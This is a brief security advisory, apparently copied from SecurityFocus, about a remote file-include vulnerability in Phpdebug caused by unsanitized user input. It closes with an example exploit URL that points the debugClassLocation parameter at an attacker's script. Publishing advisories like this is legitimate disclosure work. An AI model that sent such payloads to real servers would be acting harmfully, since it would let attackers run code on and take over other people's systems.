source: https://www.securityfocus.com/bid/21047/info

Phpdebug is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/phpdebug_PATH/test/debug_test.php?debugClassLocation=attacker's_script